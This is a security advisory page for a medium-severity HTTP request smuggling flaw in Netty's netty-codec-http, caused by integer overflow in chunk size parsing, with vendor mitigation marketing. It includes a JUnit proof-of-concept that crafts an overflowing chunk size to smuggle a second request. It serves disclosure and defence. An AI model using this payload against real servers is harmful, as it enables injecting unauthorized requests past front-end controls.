GHSA-m4cv-j2px-7723 — netty-codec-http
MEDIUMGHSA-m4cv-j2px-7723 is a medium-severity (CVSS 6.5) CWE-190 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.
Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m4cv-j2px-7723.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-m4cv-j2px-7723 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
io.netty:netty-codec-http☕io.netty:netty-codec-httpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-http | ≥ 4.2.0.Alpha1&&< 4.2.13.Final | 4.2.13.Finalio.netty:netty-codec-http:4.2.13.Final |
| ☕Maven | io.netty:netty-codec-http | all versions | 4.1.133.Finalio.netty:netty-codec-http:4.1.133.Final |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m4cv-j2px-7723 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-m4cv-j2px-7723 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-m4cv-j2px-7723. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m4cv-j2px-7723 in your dependencies?
O3 Security finds GHSA-m4cv-j2px-7723 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.